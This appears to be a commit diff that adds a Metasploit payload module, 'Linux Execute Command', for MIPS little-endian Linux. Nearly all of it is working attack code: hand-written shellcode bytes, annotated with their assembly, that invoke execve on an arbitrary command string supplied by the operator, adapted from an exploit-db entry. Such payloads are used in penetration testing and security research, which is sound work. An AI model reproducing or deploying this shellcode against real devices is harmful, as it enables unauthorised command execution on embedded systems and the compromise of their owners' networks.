|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +module Metasploit3 |
| 9 | + |
| 10 | + include Msf::Payload::Single |
| 11 | + include Msf::Payload::Linux |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(merge_info(info, |
| 15 | + 'Name' => 'Linux Execute Command', |
| 16 | + 'Description' => %q{ |
| 17 | + A very small shellcode for executing commands. |
| 18 | + This module is sometimes helpful for testing purposes. |
| 19 | + }, |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'Michael Messner <[email protected]>', #metasploit payload |
| 23 | + '[email protected]' #original payload |
| 24 | + ], |
| 25 | + 'References' => ['URL', 'http://www.exploit-db.com/exploits/17940/'], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Platform' => 'linux', |
| 28 | + 'Arch' => ARCH_MIPSLE, |
| 29 | + 'Payload' => |
| 30 | + { |
| 31 | + 'Offsets' => {} , |
| 32 | + 'Payload' => '' |
| 33 | + }) |
| 34 | + ) |
| 35 | + register_options( |
| 36 | + [ |
| 37 | + OptString.new('CMD', [ true, "The command string to execute" ]), |
| 38 | + ], self.class) |
| 39 | + end |
| 40 | + |
| 41 | + # |
| 42 | + # Returns the command string to use for execution |
| 43 | + # |
| 44 | + def command_string |
| 45 | + return datastore['CMD'] || '' |
| 46 | + end |
| 47 | + |
| 48 | + def generate |
| 49 | + |
| 50 | + shellcode = |
| 51 | + "\x66\x06\x06\x24" + # li a2,1638 |
| 52 | + "\xff\xff\xd0\x04" + # bltzal a2,4100b4 |
| 53 | + "\xff\xff\x06\x28" + # slti a2,zero,-1 |
| 54 | + "\xe0\xff\xbd\x27" + # addiu sp,sp,-32 |
| 55 | + "\x01\x10\xe4\x27" + # addiu a0,ra,4097 |
| 56 | + "\x1f\xf0\x84\x24" + # addiu a0,a0,-4065 |
| 57 | + "\xe8\xff\xa4\xaf" + # sw a0,-24(sp) |
| 58 | + "\xec\xff\xa0\xaf" + # sw zero,-20(sp) |
| 59 | + "\xe8\xff\xa5\x27" + # addiu a1,sp,-24 |
| 60 | + "\xab\x0f\x02\x24" + # li v0,4011 |
| 61 | + "\x0c\x01\x01\x01" # + syscall 0x40404 |
| 62 | + |
| 63 | + # |
| 64 | + # Constructs the payload |
| 65 | + # |
| 66 | + return super + shellcode + command_string + "\x00" |
| 67 | + |
| 68 | + end |
| 69 | + |
| 70 | +end |
0 commit comments